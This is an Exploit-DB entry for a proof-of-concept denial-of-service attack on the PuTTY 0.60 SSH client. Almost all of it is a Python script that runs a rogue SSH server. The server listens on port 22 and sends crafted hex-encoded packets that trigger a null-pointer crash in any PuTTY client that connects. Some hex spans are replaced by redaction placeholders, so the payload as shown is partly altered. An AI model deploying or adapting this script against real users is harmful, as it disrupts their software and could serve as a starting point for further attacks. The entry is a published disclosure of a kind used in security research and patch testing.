Exploit-DB #18270
Description: Putty 0.60 - Crash (PoC)
Type: dos
Platform: windows
Date: 2011-12-24
Author: Level

Exploit:
print "\n" 
print "----------------------------------------------------------------" 
print "| putty 0.60 Null Ptr                                           |" 
print "| Level Smash the Stack                                         |" 
print "----------------------------------------------------------------" 
print "\n"

import sys, socket, binascii
HOST = sys.argv[1]
PORT = 22
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((HOST, PORT))
s.listen(1)
conn, addr = s.accept()
buf = [
	("5353482d322e302d57654f6e6c79446f20322e312e330d0a"),
	("000001ec0a14b940c70d1910a6effb0e2228c49c[PII_REDACTED][PII_REDACTED]69652d68656c6c6d616"
	"e2d67726f7570312d736861312c[PII_REDACTED]652d68656c6c6d616e2d67726f757031342d7368613"
	"10000000f3f407d89a1f204f37373682d[PII_REDACTED][PII_REDACTED]3132382d6362632c336465732d6"
	"362632c626c6f[PII_REDACTED]2d6362632c[PII_REDACTED]322d6362632c[PII_REDACTED]362d6362632c726"
	"96a6e6461656c3132382d6362632c72696a6e6461afb93139322d6362632c72696a6e6461656c323"
	"5362d6362632c72696a6e6461656c2d636263406c797361746f722e6c69752e[PII_REDACTED]8261657"
	"33132382d6362632c336465732d6362632c626c6f[PII_REDACTED]2db1fc632c[PII_REDACTED]322d63626"
	"32c[PII_REDACTED]362d6362632c72696a6e6461656c3132382d6362632c72696a6e6461656c3139322"
	"d6362632c72696a6e6461656c3235362d6362632c72696a6e6461656c2d636263406c797361746f7"
	"22e6c69752e[PII_REDACTED]24686d61632d736861312c686d61632d736861312d39362c686d61632d6"
	"d64352c6e6f6e[PII_REDACTED]686d61632d736861312c686d61632d736861312d39362c686d61632d6"
	"d64352c6e6f6e[PII_REDACTED]7a6c69622c6e6f6e[PII_REDACTED]7a6c69622c6e6f6e[PII_REDACTED]00000"
	"[PII_REDACTED][PII_REDACTED][PII_REDACTED]"), ## The 00 controls the crash
	("0000023c091f[PII_REDACTED][PII_REDACTED]682d[PII_REDACTED][PII_REDACTED]008100d207286d90ff369d3"
	"64d9e3606ff18d6162088b426894f6216ca7709f7faa22d2e32065064d9c899a687746f3197fcc3c"
	"76d8cc643afdf14ba36252516f2b8b9ff3b131645f22bfd5f4b0b980acb4985e1c73bc3248559edd"
	"85fc2435d79e10462e1b662161e12fbc515a20a22ddd8901a1b5a231867d8f34d2196bfa01ddc5b0"
	"[PII_REDACTED]47a283aff19a2abfe32490a2a941179c0c8076ab32421040d3ae88e6086049b53a9b97"
	"3967991ed7625dd05c85a54b4067d9e[PII_REDACTED]b9927002e71b84630f445eac743cf6050c5b43d"
	"a22cb8b7f559bb6f425c190b026e790f6924bf2d677f433674d1e31b71acc224c1c5979416f8f06a"
	"f70e92559b53ca23b82c852ec67ad35380e0d14ae96681bc4bddd3f73204cfc43b981fae94537a15"
	"3766aecd1ad963de610210b37f871b4b2939c934115ee[PII_REDACTED]bc22af375ba14b68077757bf3"
	"b45edf6ee8998f6f33a25092cb7789eb08c77cc2f26fb9507dad63f4a077cb5af5dbf248facde1ca"
	"75f95e84d4b2786fe9799dc20e[PII_REDACTED]132b40000008f[PII_REDACTED]73682d[PII_REDACTED]00804"
	"20087d6c6d46453e1bd004c715ced[PII_REDACTED]d48cb897e5141c03f15af86d93ac98a3376d963bc"
	"6915b98f7157418a9e0cef85a66b1ba855782848b9ae9e5a83ae051ee298299b27056020c4598045"
	"ae6eb61f5b2537adb07fa2e7733ab83907d9c61eb11f237f8e0b4a51b544687a4eec2a1be2a1dcbf"
	"cac4453d629a47d[PII_REDACTED]00000000"),
	("0000000c0a15a1640000c32700008e14")
	]


i = 0
for i in range(0,len(buf)):
    conn.send(binascii.unhexlify(buf[i]))
    i+=1
conn.close()
s.close()